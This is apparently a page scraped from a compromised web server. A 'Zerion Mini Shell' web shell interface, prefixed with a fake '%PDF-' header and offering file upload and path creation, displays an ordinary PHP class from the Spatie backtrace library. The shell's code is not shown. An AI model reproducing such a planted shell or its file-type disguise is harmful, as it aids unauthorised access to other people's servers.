%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/demo/vendor/spatie/backtrace/src/Arguments/Reducers/
Upload File :
Create Path :
Current File : /www/loslex/demo/vendor/spatie/backtrace/src/Arguments/Reducers/DateTimeZoneArgumentReducer.php

<?php

namespace Spatie\Backtrace\Arguments\Reducers;

use DateTimeZone;
use Spatie\Backtrace\Arguments\ReducedArgument\ReducedArgument;
use Spatie\Backtrace\Arguments\ReducedArgument\ReducedArgumentContract;
use Spatie\Backtrace\Arguments\ReducedArgument\UnReducedArgument;

class DateTimeZoneArgumentReducer implements ArgumentReducer
{
    public function execute($argument): ReducedArgumentContract
    {
        if (! $argument instanceof DateTimeZone) {
            return UnReducedArgument::create();
        }

        return new ReducedArgument(
            $argument->getName(),
            get_class($argument),
        );
    }
}

Zerion Mini Shell 1.0